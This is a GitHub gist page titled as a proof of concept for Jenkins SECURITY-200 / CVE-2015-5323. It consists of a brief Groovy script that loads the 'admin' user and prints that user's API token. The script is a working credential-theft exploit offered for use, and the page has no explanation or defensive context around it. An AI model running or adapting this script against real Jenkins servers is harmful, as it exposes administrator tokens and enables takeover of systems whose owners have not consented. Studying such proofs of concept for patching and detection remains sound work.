Skip to content

Instantly share code, notes, and snippets.

@carnal0wnage

carnal0wnage/gist:1f316c01eaa7707c3cc6497ef04857a8

Last active February 28, 2019 00:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save carnal0wnage/1f316c01eaa7707c3cc6497ef04857a8 to your computer and use it in GitHub Desktop.
Save carnal0wnage/1f316c01eaa7707c3cc6497ef04857a8 to your computer and use it in GitHub Desktop.
Download ZIP
Jenkins - SECURITY-200 / CVE-2015-5323 PoC
Raw
gistfile1.txt
//from: https://gist.github.com/hayderimran7/dec6a655ba671fa5b3c3
import jenkins.security.*
//j.jenkins.setSecurityRealm(j.createDummySecurityRealm());
User u = User.get("admin")
ApiTokenProperty t = u.getProperty(ApiTokenProperty.class)
def token = t.getApiToken()
//token.getClass()
println "token is $token "
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment